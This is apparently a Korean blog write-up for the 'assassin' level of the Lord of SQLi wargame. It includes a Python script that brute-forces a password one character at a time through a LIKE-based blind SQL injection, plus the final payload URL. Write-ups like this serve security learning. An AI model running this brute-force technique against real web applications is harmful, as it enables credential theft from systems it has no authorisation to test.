728x90
반응형
- 싱글쿼터가 필터링 되어 있다. 처음엔 이를 우회하는 방법은 중점으로 풀어보려했는데 도저히 방법이 안나와서 포기했고
- 굳이 '='을 사용하지 않고 like를 사용한데에 집중했다.
- 그래서 찾은 게 brute forcing으로 guest의 비밀번호를 찾았고 이를 이용해 admin 비밀번호를 찾았다.
import requests
url ='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=' #url 주소 입력
def find_pw():
pw_len=10
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ="90{}%".format(string+chr(ascii))
cookies={'PHPSESSID' : '내 세션'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if("Hello admin" in response.text):
string = string + chr(ascii)
print("{}번 째의 pw의 값은!".format(pw_value),string)
break
print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
print(string)
find_pw()
- '90'까지는 guest와 admin의 비밀번호가 겹쳐서 참일 때 항상 먼저 기입된 데이터인 guest가 나오지만 3번째 문자부터는 guest와 admin의 비밀번호가 다른지 2라는 값이 나왔고 이를 대입해 보니 clear
- 주의해야할 점은 %902%를 url에 그대로 대입하면 url encoding 때문에 %90이 �로 인코딩되어 풀리지 않는다 그래서 앞에 %의 url encode 번호인 %25를 먼저 기입하여 우회해야한다.
정답: https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=%25902%
728x90
반응형
'Hacking > LOS' 카테고리의 다른 글
[LOS] 17. zombie_assassin (0) | 2023.07.12 |
---|---|
[LOS] 16. succubus (0) | 2023.07.08 |
[LOS] 14. giant (4) | 2023.07.07 |
[LOS] 13. bugbear (0) | 2023.07.06 |
[LOS] 12. darkknight (0) | 2023.07.06 |